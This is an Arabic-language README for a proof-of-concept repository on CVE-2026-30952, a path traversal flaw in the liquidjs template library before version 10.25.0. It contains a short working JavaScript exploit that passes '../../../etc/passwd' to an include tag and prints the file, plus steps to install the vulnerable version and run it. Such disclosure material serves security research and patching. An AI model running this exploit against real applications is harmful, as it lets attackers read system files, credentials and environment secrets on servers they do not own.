
إثبات المفهوم (PoC) لثغرة CVE-2026-30952: ثغرة اجتياز المسار (Path Traversal) في liquidjs عبر المسارات المطلقة في وسوم layout وrender وinclude.
يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة CVE-2026-30952، وهي ثغرة اجتياز مسار عالية الخطورة تم اكتشافها في مكتبة liquidjs (الإصدارات < 10.25.0).
المؤلفون والباحثون:
Moriel Harush Maor Caplan
تسمح الثغرة بالوصول التعسفي إلى الملفات من خلال وسوم layout وrender وinclude عند استخدامها مع مسارات مطلقة. يحدث هذا حتى عند تحديد دليل root، حيث تفشل آلية التراجع في المكتبة في التحقق بشكل صحيح من بقاء المسار المُحلَّل داخل الجذر المقصود.
التأثير: يمكن للمهاجم قراءة ملفات حساسة (مثل /etc/passwd، ملفات البيئة) إذا كان بإمكانه التحكم في محتوى القالب أو المتغير المُمرَّر إلى هذه الوسوم.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install.node exploit.js